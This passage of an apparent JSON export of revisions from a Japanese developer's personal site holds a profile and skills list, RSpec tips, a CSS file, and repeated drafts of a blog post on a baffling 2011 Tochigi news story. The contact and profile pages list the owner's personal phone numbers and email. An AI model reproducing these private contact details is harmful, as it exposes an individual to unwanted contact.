\r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)\r\n\r\n# Skill\r\n- Ruby\r\n- Ruby on Rails\r\n- Sinatra\r\n- MySQL\r\n- MongoDB\r\n- RSpec\r\n- Cucumber\r\n- Behavior Driven Development\r\n- Japanese\r\n- Know much about History of Nanbokucho(JPN), Muromachi(JPN), and Sanguozhi(CN) \r\n- English(a bit)\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e","created_at":"2011-10-08T18:41:47.000Z","updated_at":"2011-10-08T18:41:47.000Z"},{"id":1916,"name":"連絡先","body":"# ssig33 の連絡先\r\nいきなり電話されるとちょっとびっくりします。なるべくメール twitter その他でやってくれると嬉しいです。\r\n\r\n## Twitter\r\n@ssig33 です。 @ をつけると携帯に転送されるので高確率で気付きます。\r\n\r\n## メール\r\nmail@ssig33.com に特別の事情が無い限り送ってください。\r\n\r\n*@ssig33.com 宛のメールは全て僕の携帯電話に直接届きます。携帯電話は二台持っていてどちらにも届くので到達率はかなり高いでしょう。\r\n\r\n携帯に届くとはいえ結構返事が遅いことが多いです。筆無精です。ごめんなさい。\r\n\r\n## メッセンジャー\r\nSkype ぐらいしか起動してません。 skype id は ssig33 です。 Skype 結構気付かないこと多いです。\r\n\r\n## IRC\r\nircnet や freenode にいます。 #Twitter@ircnet で ssig33 とか ssig34 とかいうのがいれば多分僕です。 sakura の VPS から繋いでます。 \r\n\r\n## 電話 と SMS\r\n080-4134-9835 まで。 090-1450-2501 でも大丈夫です。\r\n\r\n## Facebook\r\nhttp://facebook.com/ssig33 です。リクエストが来ても誰だか分からなかった場合は弾きます。ごめんなさい。\r\n\r\n## まとめ\r\n- 急ぎじゃない場合は Twitter で @ するか mail@ssig33.com にメール。\r\n- 急ぎの場合は 080-4134-9835 に電話。 SMS もこれで。\r\n- Skype は放置されます","created_at":"2011-10-08T18:44:20.000Z","updated_at":"2011-10-08T18:44:20.000Z"},{"id":1917,"name":"index","body":"\u003cspan class=\"h1\"\u003essig33.com\u003c/span\u003e\r\n\r\n\u003cspan class=\"h2\"\u003e Contents \u0026 Service\u003c/span\u003e\r\n\r\n[Text](http://text.ssig33.com) \r\n\r\n[Photo Stream](http://photo.ssig33.com/)\r\n\r\n[Activity](/activity)\r\n\r\n[Rolling Icon](http://icon.ssig33.com) *Twitter Icon Manager that's very cool.*\r\n\r\n[Money Please](http://kanekure.ssig33.com) *KANEKURE Platform*\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[others](/others)\r\n\r\n[Contact](/連絡先) (for Japanese)\r\n\r\n[Recent Update of This Site](/recent)\r\n\r\n# Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 80 4134 9835 \r\n**Living at:** [Geekhouse Shinjuku-WEST](http://twitter.com/#!/ssig33/status/24135533680664576) \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)\r\n\r\n# Skill\r\n- Ruby\r\n- Ruby on Rails\r\n- Sinatra\r\n- MySQL\r\n- MongoDB\r\n- RSpec\r\n- Cucumber\r\n- Behavior Driven Development\r\n- JavaScript \u0026 Ajax \u0026 HTML5\r\n- HTML \u0026 CSS\r\n- Japanese\r\n- English(a bit)\r\n- Know much about History of Nanbokucho(JPN), Muromachi(JPN), and Sanguozhi(CN) \r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e","created_at":"2011-10-08T18:45:49.000Z","updated_at":"2011-10-08T18:45:49.000Z"},{"id":1918,"name":"今日知ったこと","body":"[トップに戻る](/)\r\n\r\n\u003cspan class=\"h1\"\u003e今日知ったことシリーズ\u003c/span\u003e\r\n\r\n今日知ったことを適当に書く。\r\n\r\n# 11/15/2011\r\n- Ruby On Rails のセッションはドメイン名にアンダースコアが含まれている時、 IE 限定で正しく動作しない。\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e","created_at":"2011-10-14T16:02:18.000Z","updated_at":"2011-10-14T16:02:18.000Z"},{"id":1919,"name":"今日知ったこと","body":"[トップに戻る](/)\r\n\r\n\u003cspan class=\"h1\"\u003e今日知ったことシリーズ\u003c/span\u003e\r\n\r\n今日知ったことを適当に書く。\r\n\r\n# 10/18/2011\r\n- RSpec on Rails で複数のコントローラーを使ったテストを書きたい場合、 @controller にコントローラーのインスタンスをぶちこめばいい。以下のような感じ\r\n``` ruby\r\ndescripe FuckController do\r\n it \"fucking\" do\r\n get :fuck\r\n response.should be_success\r\n @controller = ShitController.new\r\n get :shit\r\n response.should be_success\r\n @controller = ClusterFuckController.new\r\n get :fuckkkkkk\r\n response.should be_success\r\n end\r\nend\r\n```\r\n - こうすることで RSpec でシナリオテストみたいのが書けて便利\r\n\r\n# 10/15/2011\r\n- Ruby On Rails のセッションはドメイン名にアンダースコアが含まれている時、 IE 限定で正しく動作しない。\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n","created_at":"2011-10-18T04:23:52.000Z","updated_at":"2011-10-18T04:23:52.000Z"},{"id":1920,"name":"今日知ったこと","body":"[トップに戻る](/)\r\n\r\n\u003cspan class=\"h1\"\u003e今日知ったことシリーズ\u003c/span\u003e\r\n\r\n今日知ったことを適当に書く。\r\n\r\n# 10/18/2011\r\n## RSpec on Rails で複数のコントローラーを使ったテストを書きたい場合、 @controller にコントローラーのインスタンスをぶちこめばいい。以下のような感じ\r\n``` ruby\r\ndescripe FuckController do\r\n it \"fucking\" do\r\n get :fuck\r\n response.should be_success\r\n @controller = ShitController.new\r\n get :shit\r\n response.should be_success\r\n @controller = ClusterFuckController.new\r\n get :fuckkkkkk\r\n response.should be_success\r\n end\r\nend\r\n```\r\nこうすることで RSpec でシナリオテストみたいのが書けて便利\r\n\r\n# 10/15/2011\r\n## Ruby On Rails のセッションはドメイン名にアンダースコアが含まれている時、 IE 限定で正しく動作しない。\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n","created_at":"2011-10-18T04:24:11.000Z","updated_at":"2011-10-18T04:24:11.000Z"},{"id":1921,"name":"縛られた男性立ち去る","body":"[back to the top](/)\r\n# 縛られた男性立ち去る\r\n今日の意味不明ニュース\r\n\r\n[縛られた男性の脇で、別の男性が突然倒れ死亡 - 読売新聞](http://www.yomiuri.co.jp/national/news/20111019-OYT1T00397.htm)\r\n\u003e19日午前4時55分頃、栃木県益子町塙、上野忠さん(60)方の庭で、新聞配達員(51)が男性2人のうち1人が突然倒れるのを目撃した。\r\n\r\n\u003e(中略)\r\n\r\n\u003e死亡した男性は60歳くらいで、うぐいす色のセーターに青のブリーフ姿。上野さんの行方がわかっておらず、同署は身元確認と死因の特定を急いでいる。\r\n\r\n[新聞配達員は見ていた! 栃木の民家で立っていた男性死亡、縛られたあおむけの男性立ち去る - 産経新聞](http://sankei.jp.msn.com/affairs/news/111019/crm11101911280006-n1.htm)\r\n\u003eそばに立っていた上野さんとみられる男性が倒れる様子を新聞配達員の男性(51)が目撃し\r\n\r\n[益子で男性1人変死 別の男性立ち去る - 下野新聞](http://www.shimotsuke.co.jp/news/tochigi/top/news/20111019/638927)\r\n\u003e真岡署によると、倒れた男性は間もなく死亡、仰向けだった男性は立ち去っていた。その後の調べで、亡くなったのはこの家に住む農業、上野忠さん(60)と判明した。\r\n\r\n産経の見出しはふざけてるのか。それはともかく記事を読んでも何が起きたのか全く分からないし新聞によって死んでいる人が違うし訳の分からなさがすごい。\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e","created_at":"2011-10-19T02:58:40.000Z","updated_at":"2011-10-19T02:58:40.000Z"},{"id":1922,"name":"縛られた男性立ち去る","body":"[back to the top](/)\r\n# 縛られた男性立ち去る\r\n今日の意味不明ニュース\r\n\r\n[縛られた男性の脇で、別の男性が突然倒れ死亡 - 読売新聞](http://www.yomiuri.co.jp/national/news/20111019-OYT1T00397.htm)\r\n\r\n\u003e19日午前4時55分頃、栃木県益子町塙、上野忠さん(60)方の庭で、新聞配達員(51)が男性2人のうち1人が突然倒れるのを目撃した。\r\n\r\n\u003e(中略)\r\n\r\n\u003e死亡した男性は60歳くらいで、うぐいす色のセーターに青のブリーフ姿。上野さんの行方がわかっておらず、同署は身元確認と死因の特定を急いでいる。\r\n\r\n[新聞配達員は見ていた! 栃木の民家で立っていた男性死亡、縛られたあおむけの男性立ち去る - 産経新聞](http://sankei.jp.msn.com/affairs/news/111019/crm11101911280006-n1.htm)\r\n\r\n\u003eそばに立っていた上野さんとみられる男性が倒れる様子を新聞配達員の男性(51)が目撃し\r\n\r\n[益子で男性1人変死 別の男性立ち去る - 下野新聞](http://www.shimotsuke.co.jp/news/tochigi/top/news/20111019/638927)\r\n\r\n\u003e真岡署によると、倒れた男性は間もなく死亡、仰向けだった男性は立ち去っていた。その後の調べで、亡くなったのはこの家に住む農業、上野忠さん(60)と判明した。\r\n\r\n産経の見出しはふざけてるのか。それはともかく記事を読んでも何が起きたのか全く分からないし新聞によって死んでいる人が違うし訳の分からなさがすごい。\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e","created_at":"2011-10-19T02:58:54.000Z","updated_at":"2011-10-19T02:58:54.000Z"},{"id":1923,"name":"縛られた男性立ち去る","body":"[back to the top](/)\r\n# 縛られた男性立ち去る\r\n今日の意味不明ニュース\r\n\r\n[縛られた男性の脇で、別の男性が突然倒れ死亡 - 読売新聞](http://www.yomiuri.co.jp/national/news/20111019-OYT1T00397.htm)\r\n\r\n\u003e19日午前4時55分頃、栃木県益子町塙、上野忠さん(60)方の庭で、新聞配達員(51)が男性2人のうち1人が突然倒れるのを目撃した。\r\n\r\n\u003e(中略)\r\n\r\n\u003e死亡した男性は60歳くらいで、うぐいす色のセーターに青のブリーフ姿。上野さんの行方がわかっておらず、同署は身元確認と死因の特定を急いでいる。\r\n\r\n[新聞配達員は見ていた! 栃木の民家で立っていた男性死亡、縛られたあおむけの男性立ち去る - 産経新聞](http://sankei.jp.msn.com/affairs/news/111019/crm11101911280006-n1.htm)\r\n\r\n\u003eそばに立っていた上野さんとみられる男性が倒れる様子を新聞配達員の男性(51)が目撃し\r\n\r\n[益子で男性1人変死 別の男性立ち去る - 下野新聞](http://www.shimotsuke.co.jp/news/tochigi/top/news/20111019/638927)\r\n\r\n\u003e真岡署によると、倒れた男性は間もなく死亡、仰向けだった男性は立ち去っていた。その後の調べで、亡くなったのはこの家に住む農業、上野忠さん(60)と判明した。\r\n\r\n記事は全部 10/19/2011 12:00 JST に閲覧。\r\n\r\n産経の見出しはふざけてるのか。それはともかく記事を読んでも何が起きたのか全く分からないし新聞によって死んでいる人が違うし訳の分からなさがすごい。\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e","created_at":"2011-10-19T03:00:21.000Z","updated_at":"2011-10-19T03:00:21.000Z"},{"id":1924,"name":"縛られた男性立ち去る","body":"[back to the top](/)\r\n# 縛られた男性立ち去る\r\n今日の意味不明ニュース\r\n\r\n[縛られた男性の脇で、別の男性が突然倒れ死亡 - 読売新聞](http://www.yomiuri.co.jp/national/news/20111019-OYT1T00397.htm)\r\n\r\n\u003e19日午前4時55分頃、栃木県益子町塙、上野忠さん(60)方の庭で、新聞配達員(51)が男性2人のうち1人が突然倒れるのを目撃した。\r\n\r\n\u003e(中略)\r\n\r\n\u003e死亡した男性は60歳くらいで、うぐいす色のセーターに青のブリーフ姿。上野さんの行方がわかっておらず、同署は身元確認と死因の特定を急いでいる。\r\n\r\n[新聞配達員は見ていた! 栃木の民家で立っていた男性死亡、縛られたあおむけの男性立ち去る - 産経新聞](http://sankei.jp.msn.com/affairs/news/111019/crm11101911280006-n1.htm)\r\n\r\n\u003eそばに立っていた上野さんとみられる男性が倒れる様子を新聞配達員の男性(51)が目撃し\r\n\r\n[益子で男性1人変死 別の男性立ち去る - 下野新聞](http://www.shimotsuke.co.jp/news/tochigi/top/news/20111019/638927)\r\n\r\n\u003e真岡署によると、倒れた男性は間もなく死亡、仰向けだった男性は立ち去っていた。その後の調べで、亡くなったのはこの家に住む農業、上野忠さん(60)と判明した。\r\n\r\n記事は全部 10/19/2011 12:00 JST に閲覧。\r\n\r\n産経の見出しはふざけてるのか。それはともかく記事を読んでも何が起きたのか全く分からないし新聞によって死んでいる人が違うし訳の分からなさがすごい。\r\n\r\n## 追記\r\n[「侵入し捕まったが逃げた」 栃木県警が男を逮捕 死亡男性宅庭先から消えた“縛られた男”事件 - 産経新聞]http://sankei.jp.msn.com/affairs/news/111019/crm11101920020021-n1.htm\r\n\r\n\u003e「上野さん方に侵入したところ、上野さんに見つかり捕まった。すきをみて逃げた」と容疑を認めているという。上野さんは病死だった。\r\n\r\nかなり衝撃的な結末ですね。\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e","created_at":"2011-10-19T13:28:50.000Z","updated_at":"2011-10-19T13:28:50.000Z"},{"id":1925,"name":"縛られた男性立ち去る","body":"[back to the top](/)\r\n# 縛られた男性立ち去る\r\n今日の意味不明ニュース\r\n\r\n[縛られた男性の脇で、別の男性が突然倒れ死亡 - 読売新聞](http://www.yomiuri.co.jp/national/news/20111019-OYT1T00397.htm)\r\n\r\n\u003e19日午前4時55分頃、栃木県益子町塙、上野忠さん(60)方の庭で、新聞配達員(51)が男性2人のうち1人が突然倒れるのを目撃した。\r\n\r\n\u003e(中略)\r\n\r\n\u003e死亡した男性は60歳くらいで、うぐいす色のセーターに青のブリーフ姿。上野さんの行方がわかっておらず、同署は身元確認と死因の特定を急いでいる。\r\n\r\n[新聞配達員は見ていた! 栃木の民家で立っていた男性死亡、縛られたあおむけの男性立ち去る - 産経新聞](http://sankei.jp.msn.com/affairs/news/111019/crm11101911280006-n1.htm)\r\n\r\n\u003eそばに立っていた上野さんとみられる男性が倒れる様子を新聞配達員の男性(51)が目撃し\r\n\r\n[益子で男性1人変死 別の男性立ち去る - 下野新聞](http://www.shimotsuke.co.jp/news/tochigi/top/news/20111019/638927)\r\n\r\n\u003e真岡署によると、倒れた男性は間もなく死亡、仰向けだった男性は立ち去っていた。その後の調べで、亡くなったのはこの家に住む農業、上野忠さん(60)と判明した。\r\n\r\n記事は全部 10/19/2011 12:00 JST に閲覧。\r\n\r\n産経の見出しはふざけてるのか。それはともかく記事を読んでも何が起きたのか全く分からないし新聞によって死んでいる人が違うし訳の分からなさがすごい。\r\n\r\n## 追記\r\n[「侵入し捕まったが逃げた」 栃木県警が男を逮捕 死亡男性宅庭先から消えた“縛られた男”事件 - 産経新聞](http://sankei.jp.msn.com/affairs/news/111019/crm11101920020021-n1.htm)\r\n\r\n\u003e「上野さん方に侵入したところ、上野さんに見つかり捕まった。すきをみて逃げた」と容疑を認めているという。上野さんは病死だった。\r\n\r\nかなり衝撃的な結末ですね。\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e","created_at":"2011-10-19T13:29:24.000Z","updated_at":"2011-10-19T13:29:24.000Z"},{"id":1926,"name":"縛られた男性立ち去る","body":"[back to the top](/)\r\n# 縛られた男性立ち去る\r\n今日の意味不明ニュース\r\n\r\n[縛られた男性の脇で、別の男性が突然倒れ死亡 - 読売新聞](http://www.yomiuri.co.jp/national/news/20111019-OYT1T00397.htm)\r\n\r\n\u003e19日午前4時55分頃、栃木県益子町塙、上野忠さん(60)方の庭で、新聞配達員(51)が男性2人のうち1人が突然倒れるのを目撃した。\r\n\r\n\u003e(中略)\r\n\r\n\u003e死亡した男性は60歳くらいで、うぐいす色のセーターに青のブリーフ姿。上野さんの行方がわかっておらず、同署は身元確認と死因の特定を急いでいる。\r\n\r\n[新聞配達員は見ていた! 栃木の民家で立っていた男性死亡、縛られたあおむけの男性立ち去る - 産経新聞](http://sankei.jp.msn.com/affairs/news/111019/crm11101911280006-n1.htm)\r\n\r\n\u003eそばに立っていた上野さんとみられる男性が倒れる様子を新聞配達員の男性(51)が目撃し\r\n\r\n[益子で男性1人変死 別の男性立ち去る - 下野新聞](http://www.shimotsuke.co.jp/news/tochigi/top/news/20111019/638927)\r\n\r\n\u003e真岡署によると、倒れた男性は間もなく死亡、仰向けだった男性は立ち去っていた。その後の調べで、亡くなったのはこの家に住む農業、上野忠さん(60)と判明した。\r\n\r\n記事は全部 10/19/2011 12:00 JST に閲覧。\r\n\r\n産経の見出しはふざけてるのか。それはともかく記事を読んでも何が起きたのか全く分からないし新聞によって死んでいる人が違うし訳の分からなさがすごい。\r\n\r\n## 追記\r\n[「侵入し捕まったが逃げた」 栃木県警が男を逮捕 死亡男性宅庭先から消えた“縛られた男”事件 - 産経新聞](http://sankei.jp.msn.com/affairs/news/111019/crm11101920020021-n1.htm)\r\n\r\n\u003e「上野さん方に侵入したところ、上野さんに見つかり捕まった。すきをみて逃げた」と容疑を認めているという。上野さんは病死だった。\r\n\r\nかなり衝撃的な真相ですね。まとめると\r\n\r\n上野さんの家に男が忍びこむ -\u003e 上野さんが捕まえて縛りあげる -\u003e 男を縛って見張っていた上野さんいきなり病死 -\u003e 郵便配達の人がそれを目撃して警察に通報 -\u003e 縛られていた人は上野さんが死んだので逃げる -\u003e 警察が来たころには縛られた人逃げていた\r\n\r\nということのようです、まとめても意味不明。近年稀に見る怪事件。\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e","created_at":"2011-10-19T13:36:29.000Z","updated_at":"2011-10-19T13:36:29.000Z"},{"id":1927,"name":"metro.css","body":"raw\r\nmime css\r\nspan.none{display:none}\r\na{color:grey}\r\n.h1{font-size:7em}\r\n.h2{font-size:3em}\r\n.right{float:right}\r\n.left{float:left}\r\n.clear{clear:both}\r\nnick{color:lightpink}\r\n.mine{color:yellow}\r\n.x-small{font-size:x-small}\r\nspan.link{font-size:x-large}","created_at":"2011-10-19T13:39:25.000Z","updated_at":"2011-10-19T13:39:25.000Z"},{"id":1928,"name":"縛られた男性立ち去る","body":"[back to the top](/)\r\n# 縛られた男性立ち去る\r\n今日の意味不明ニュース\r\n\r\n## 錯綜する報道\r\n\r\n[縛られた男性の脇で、別の男性が突然倒れ死亡 - 読売新聞](http://www.yomiuri.co.jp/national/news/20111019-OYT1T00397.htm)\r\n\r\n\u003e19日午前4時55分頃、栃木県益子町塙、上野忠さん(60)方の庭で、新聞配達員(51)が男性2人のうち1人が突然倒れるのを目撃した。\r\n\r\n\u003e(中略)\r\n\r\n\u003e死亡した男性は60歳くらいで、うぐいす色のセーターに青のブリーフ姿。上野さんの行方がわかっておらず、同署は身元確認と死因の特定を急いでいる。\r\n\r\n[新聞配達員は見ていた! 栃木の民家で立っていた男性死亡、縛られたあおむけの男性立ち去る - 産経新聞](http://sankei.jp.msn.com/affairs/news/111019/crm11101911280006-n1.htm)\r\n\r\n\u003eそばに立っていた上野さんとみられる男性が倒れる様子を新聞配達員の男性(51)が目撃し\r\n\r\n[益子で男性1人変死 別の男性立ち去る - 下野新聞](http://www.shimotsuke.co.jp/news/tochigi/top/news/20111019/638927)\r\n\r\n\u003e真岡署によると、倒れた男性は間もなく死亡、仰向けだった男性は立ち去っていた。その後の調べで、亡くなったのはこの家に住む農業、上野忠さん(60)と判明した。\r\n\r\n記事は全部 10/19/2011 12:00 JST に閲覧。\r\n\r\n産経の見出しはふざけてるのか。それはともかく記事を読んでも何が起きたのか全く分からないし新聞によって死んでいる人が違うし訳の分からなさがすごい。\r\n\r\n## 真相\r\n[「侵入し捕まったが逃げた」 栃木県警が男を逮捕 死亡男性宅庭先から消えた“縛られた男”事件 - 産経新聞](http://sankei.jp.msn.com/affairs/news/111019/crm11101920020021-n1.htm)\r\n\r\n\u003e「上野さん方に侵入したところ、上野さんに見つかり捕まった。すきをみて逃げた」と容疑を認めているという。上野さんは病死だった。\r\n\r\nかなり衝撃的な真相ですね。まとめると\r\n\r\n上野さんの家に男が忍びこむ -\u003e 上野さんが捕まえて縛りあげる -\u003e 男を縛って見張っていた上野さんいきなり病死 -\u003e 郵便配達の人がそれを目撃して警察に通報 -\u003e 縛られていた人は上野さんが死んだので逃げる -\u003e 警察が来たころには縛られた人逃げていた\r\n\r\nということのようです、まとめても意味不明。近年稀に見る怪事件。\r\n\r\n### 付録. 見出しまとめ\r\n近年稀にみるこの怪事件、新聞各社の記者、編集者も困惑していたよう、訳の分からない見出しが量産されました。そのまとめです。\r\n\r\n-[益子で男性1人変死 別の男性立ち去る - 下野新聞](http://www.shimotsuke.co.jp/news/tochigi/top/news/20111019/638927) \r\n - 第一報、既に意味不明\r\n-[栃木、住宅の庭で男性変死 そばに居た男立ち去る - 共同通信](http://www.47news.jp/CN/201110/CN2011101901000275.html)\r\n-[庭で男性倒れ死亡、地面に仰向けの男性立ち去る - 下野新聞](http://www.47news.jp/news/2011/10/post_20111019122349.html)\r\n-[変死:男を取り押さえた?60歳男性 男は逃走 栃木](http://mainichi.jp/select/jiken/news/20111019k0000e040061000c.html) \r\n -倒れていた男性が縛られていたことが分かり混乱がはじまる\r\n-[60歳変死、下半身縛られた男性が立ち去る - 日刊スポーツ](http://www.nikkansports.com/general/news/f-gn-tp0-20111019-852018.html)\r\n-[新聞配達員は見ていた! 栃木の民家で立っていた男性死亡、縛られたあおむけの男性立ち去る - 産経新聞](http://sankei.jp.msn.com/affairs/news/111019/crm11101911280006-n1.htm) \r\n -大変話題になった記事。実のところ事実が淡々と記された見出しなのだが最早全く意味不明\r\n-[栃木で男性変死、脇で足縛られた男性は立ち去る - 読売新聞](http://www.yomiuri.co.jp/national/news/20111019-OYT1T00397.htm)\r\n-[自宅庭で男性変死 栃木、男が立ち去る - 日経新聞](http://www.nikkei.com/news/category/article/g=96958A9C93819695E3EBE2E3E68DE3EBE3E2E0E2E3E39191E2E2E2E2;at=DGXZZO0195583008122009000000) \r\n -意味不明な部分はカットするという判断\r\n-[庭先で男性変死 近くに足を縛られた男性→姿消す - テレビ朝日](http://www.tv-asahi.co.jp/ann/news/web/html/211019028.html)\r\n-[男性倒れ死亡、縛られた男性いなくなる - TBS](http://www.youtube.com/watch?v=Vir_b3jsR_w\u0026hd=1)\r\n-[新聞配達員の前で男性が倒れ、死亡 栃木 (栃木県)- 日本テレビ](http://news24.jp/nnn/news89023550.html) \r\n -縛られた男性を無視する事例\r\n-[「侵入し捕まったが逃げた」 栃木県警が男を逮捕 死亡男性宅庭先から消えた“縛られた男”事件 -産経新聞 ](http://sankei.jp.msn.com/affairs/news/111019/ccm11101920020021-n1.htm)\r\n - そして明かされる真相。一番気合を入れた見出しを発表した産経新聞は気合いをいれた真相報道の記事を書いてくれた。しかし真相の記事も見出しは全く意味不明\r\n\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n","created_at":"2011-10-19T13:56:00.000Z","updated_at":"2011-10-19T13:56:00.000Z"},{"id":1929,"name":"縛られた男性立ち去る","body":"[back to the top](/)\r\n# 縛られた男性立ち去る\r\n今日の意味不明ニュース\r\n\r\n## 錯綜する報道\r\n\r\n[縛られた男性の脇で、別の男性が突然倒れ死亡 - 読売新聞](http://www.yomiuri.co.jp/national/news/20111019-OYT1T00397.htm)\r\n\r\n\u003e19日午前4時55分頃、栃木県益子町塙、上野忠さん(60)方の庭で、新聞配達員(51)が男性2人のうち1人が突然倒れるのを目撃した。\r\n\r\n\u003e(中略)\r\n\r\n\u003e死亡した男性は60歳くらいで、うぐいす色のセーターに青のブリーフ姿。上野さんの行方がわかっておらず、同署は身元確認と死因の特定を急いでいる。\r\n\r\n[新聞配達員は見ていた! 栃木の民家で立っていた男性死亡、縛られたあおむけの男性立ち去る - 産経新聞](http://sankei.jp.msn.com/affairs/news/111019/crm11101911280006-n1.htm)\r\n\r\n\u003eそばに立っていた上野さんとみられる男性が倒れる様子を新聞配達員の男性(51)が目撃し\r\n\r\n[益子で男性1人変死 別の男性立ち去る - 下野新聞](http://www.shimotsuke.co.jp/news/tochigi/top/news/20111019/638927)\r\n\r\n\u003e真岡署によると、倒れた男性は間もなく死亡、仰向けだった男性は立ち去っていた。その後の調べで、亡くなったのはこの家に住む農業、上野忠さん(60)と判明した。\r\n\r\n記事は全部 10/19/2011 12:00 JST に閲覧。\r\n\r\n産経の見出しはふざけてるのか。それはともかく記事を読んでも何が起きたのか全く分からないし新聞によって死んでいる人が違うし訳の分からなさがすごい。\r\n\r\n## 真相\r\n[「侵入し捕まったが逃げた」 栃木県警が男を逮捕 死亡男性宅庭先から消えた“縛られた男”事件 - 産経新聞](http://sankei.jp.msn.com/affairs/news/111019/crm11101920020021-n1.htm)\r\n\r\n\u003e「上野さん方に侵入したところ、上野さんに見つかり捕まった。すきをみて逃げた」と容疑を認めているという。上野さんは病死だった。\r\n\r\nかなり衝撃的な真相ですね。まとめると\r\n\r\n上野さんの家に男が忍びこむ -\u003e 上野さんが捕まえて縛りあげる -\u003e 男を縛って見張っていた上野さんいきなり病死 -\u003e 郵便配達の人がそれを目撃して警察に通報 -\u003e 縛られていた人は上野さんが死んだので逃げる -\u003e 警察が来たころには縛られた人逃げていた\r\n\r\nということのようです、まとめても意味不明。近年稀に見る怪事件。\r\n\r\n### 付録. 見出しまとめ\r\n近年稀にみるこの怪事件、新聞各社の記者、編集者も困惑していたよう、訳の分からない見出しが量産されました。そのまとめです。\r\n\r\n- [益子で男性1人変死 別の男性立ち去る - 下野新聞](http://www.shimotsuke.co.jp/news/tochigi/top/news/20111019/638927) \r\n - 第一報、既に意味不明\r\n- [栃木、住宅の庭で男性変死 そばに居た男立ち去る - 共同通信](http://www.47news.jp/CN/201110/CN2011101901000275.html)\r\n- [庭で男性倒れ死亡、地面に仰向けの男性立ち去る - 下野新聞](http://www.47news.jp/news/2011/10/post_20111019122349.html)\r\n- [変死:男を取り押さえた?60歳男性 男は逃走 栃木](http://mainichi.jp/select/jiken/news/20111019k0000e040061000c.html) \r\n - 倒れていた男性が縛られていたことが分かり混乱がはじまる\r\n- [60歳変死、下半身縛られた男性が立ち去る - 日刊スポーツ](http://www.nikkansports.com/general/news/f-gn-tp0-20111019-852018.html)\r\n- [新聞配達員は見ていた! 栃木の民家で立っていた男性死亡、縛られたあおむけの男性立ち去る - 産経新聞](http://sankei.jp.msn.com/affairs/news/111019/crm11101911280006-n1.htm) \r\n - 大変話題になった記事。実のところ事実が淡々と記された見出しなのだが最早全く意味不明\r\n- [栃木で男性変死、脇で足縛られた男性は立ち去る - 読売新聞](http://www.yomiuri.co.jp/national/news/20111019-OYT1T00397.htm)\r\n- [自宅庭で男性変死 栃木、男が立ち去る - 日経新聞](http://www.nikkei.com/news/category/article/g=96958A9C93819695E3EBE2E3E68DE3EBE3E2E0E2E3E39191E2E2E2E2;at=DGXZZO0195583008122009000000) \r\n - 意味不明な部分はカットするという判断\r\n- [庭先で男性変死 近くに足を縛られた男性→姿消す - テレビ朝日](http://www.tv-asahi.co.jp/ann/news/web/html/211019028.html)\r\n- [男性倒れ死亡、縛られた男性いなくなる - TBS](http://www.youtube.com/watch?v=Vir_b3jsR_w\u0026hd=1)\r\n- [新聞配達員の前で男性が倒れ、死亡 栃木 (栃木県)- 日本テレビ](http://news24.jp/nnn/news89023550.html) \r\n - 縛られた男性を無視する事例\r\n- [「侵入し捕まったが逃げた」 栃木県警が男を逮捕 死亡男性宅庭先から消えた“縛られた男”事件 -産経新聞 ](http://sankei.jp.msn.com/affairs/news/111019/ccm11101920020021-n1.htm)\r\n - そして明かされる真相。一番気合を入れた見出しを発表した産経新聞は気合いをいれた真相報道の記事を書いてくれた。しかし真相の記事も見出しは全く意味不明\r\n\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n","created_at":"2011-10-19T13:56:39.000Z","updated_at":"2011-10-19T13:56:39.000Z"},{"id":1930,"name":"縛られた男性立ち去る","body":"[back to the top](/)\r\n# 縛られた男性立ち去る\r\n今日の意味不明ニュース\r\n\r\n## 錯綜する報道\r\n\r\n[縛られた男性の脇で、別の男性が突然倒れ死亡 - 読売新聞](http://www.yomiuri.co.jp/national/news/20111019-OYT1T00397.htm)\r\n\r\n\u003e19日午前4時55分頃、栃木県益子町塙、上野忠さん(60)方の庭で、新聞配達員(51)が男性2人のうち1人が突然倒れるのを目撃した。\r\n\r\n\u003e(中略)\r\n\r\n\u003e死亡した男性は60歳くらいで、うぐいす色のセーターに青のブリーフ姿。上野さんの行方がわかっておらず、同署は身元確認と死因の特定を急いでいる。\r\n\r\n[新聞配達員は見ていた! 栃木の民家で立っていた男性死亡、縛られたあおむけの男性立ち去る - 産経新聞](http://sankei.jp.msn.com/affairs/news/111019/crm11101911280006-n1.htm)\r\n\r\n\u003eそばに立っていた上野さんとみられる男性が倒れる様子を新聞配達員の男性(51)が目撃し\r\n\r\n[益子で男性1人変死 別の男性立ち去る - 下野新聞](http://www.shimotsuke.co.jp/news/tochigi/top/news/20111019/638927)\r\n\r\n\u003e真岡署によると、倒れた男性は間もなく死亡、仰向けだった男性は立ち去っていた。その後の調べで、亡くなったのはこの家に住む農業、上野忠さん(60)と判明した。\r\n\r\n記事は全部 10/19/2011 12:00 JST に閲覧。\r\n\r\n産経の見出しはふざけてるのか。それはともかく記事を読んでも何が起きたのか全く分からないし新聞によって死んでいる人が違うし訳の分からなさがすごい。\r\n\r\n## 真相\r\n[「侵入し捕まったが逃げた」 栃木県警が男を逮捕 死亡男性宅庭先から消えた“縛られた男”事件 - 